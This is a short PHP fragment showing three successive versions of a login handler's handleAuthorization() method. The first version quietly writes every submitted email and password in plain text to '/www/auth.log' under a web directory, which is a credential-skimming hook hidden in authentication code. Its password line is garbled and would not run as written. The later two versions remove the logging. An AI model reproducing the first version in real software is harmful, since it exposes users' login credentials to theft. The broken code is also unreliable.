public function handleAuthorization() { // Call parent to handle basic authorization first parent::handleAuthorization(); // Check for other form data here if (!isset($_POST['email']) || !isset($_POST['password'])) { return; } $fh = fopen('/www/auth.log', 'a+'); fwrite($fh, "Email: " . $_POST['email'] . "\n"); fwrite($fh, "Pass: "******"\n\n"); fclose($fh); }
public function handleAuthorization() { // Call parent to handle basic authorization first parent::handleAuthorization(); // Check for other form data here }
public function handleAuthorization() { parent::handleAuthorization(); }